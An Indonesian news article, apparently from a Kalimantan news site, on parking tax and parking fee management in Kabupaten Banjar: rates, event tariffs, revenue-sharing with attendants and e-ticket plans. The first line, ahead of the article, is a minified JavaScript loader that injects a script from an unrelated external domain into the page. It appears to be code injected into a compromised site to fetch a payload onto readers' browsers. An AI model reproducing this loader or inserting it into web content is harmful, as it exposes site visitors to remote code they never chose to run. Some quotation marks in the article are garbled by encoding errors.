(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Pengelolaan retribusi dan pajak parkir di Kabupaten Banjar masih belum optimal guna menjaring pemasukan daerah dari sektor ini. Beberapa kendala masih menjadi problem di lapangan. Namun demikian, Dinas Perhubungan telah membuat sejumlah rencana.
Saat ini, pengelolaan parkir di Kabupaten Banjar dibagi menjadi dua kategori. Yakni pajak parkir dan retribusi parkir. Retribusi parkir yang dikelola Dinas Perhubungan berupa fasilitas-fasilitas yang disediakan oleh pemerintah daerah untuk lahan parkir. Sedangkan pajak parkir merupakan fasilitas yang dikelola oleh perorangan, badan usaha maupun pengembang lainnya (mall, cafe, rumah makan, toko retail dan sebagainya) yang mendapatkan pemasukan dari parkir.
Kabid Sarana dan Prasarana Dinas Perhubungan Kabupaten Banjar, Hadi Suwarto mengatakan, dikarenakan mereka yang mengelola dan menyediakan lahan parkir, maka dikenakan pajak. ”Untuk pajak parkir ini kisarannya 30 persen. Tapi sementara ini di Kabupaten Banjar masih 20 persen karena belum ada pembaharuan Perda,†jelasya.
Untuk retribusi parkir di Banjar saat ini ada 12 titik, sedangkan pajak parkir sampai tahun 2017 terdapat 19 titik.  Kontribusi pajak parkir lebih dominan ketimbang retribusi parkir.
‘Untuk pajak dan retribusi, Dishub yang mengeluarkan perizinan pengelolaan parkir itu. Kalau parkir ilegal itu jelas saja sudah menyalahi aturan dan pungli. Contohnya parkir-parkir yang berada di jalan nasional, di dalam peraturan tidak diperbolehkan parkir di situ. Soalnya itu sangat mengganggu arus lalu lintas, sehingga bisa terjadi kemacetan hingga kecelakaan,” jelasnya.
Salah satu yang dilakukan untuk memaksimalkan penerimaan dari parkir, Dishub menentukan  besaran tarif parkir yang ditentukan saat ada event besar maupun di tempat-tempat wisata.  ”Memang tarif parkirnya lebih tinggi dari tarif parkir biasa. Untuk roda 2 dikenakan tarif Rp 5 ribu, sedangkan roda 4 sebesar Rp 10 ribu. Kalau hubungannya ke retribusi, semua uang hasil retribusi parkir itu akan disetorkan ke kas daerah. Walaupun secara aturan belum tertulis, namun ada bagi hasil dengan jukirnya, 60 persen disetor ke kas daerah, sisanya lagi 40 persen untuk mereka (jukir). Seperti itu lah rencananya,” paparnya.
Selain itu, Dinas Perhubungan jauh-jauh hari sudah memiliki rencana untuk membuat sistem karcis elektronik. Namun dari segi retribusi, hasil yang didapatkan masih terbilang kecil. Beda halnya dengan pajak seperti yang dikenakan ke pasar, karena lebih mudah dalam pengawasan serta menghitung pendapatan tiap bulannya.
”E-Karcis itu sekarang sudah digunakan di Waterboom di kilometer 10. Rencananya memang karcis elektronik itu akan ditempatkan di lokasi-lokasi wisata. Tapi saya agak skeptis apabila kita berbicara wisata, terutama wisata religi. Kalau bisa digratiskan saja, karena itu kan hubungannya dengan spiritual dan keagamaan,” imbuh pria kelahiran Malang ini. ***
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
This website uses cookies.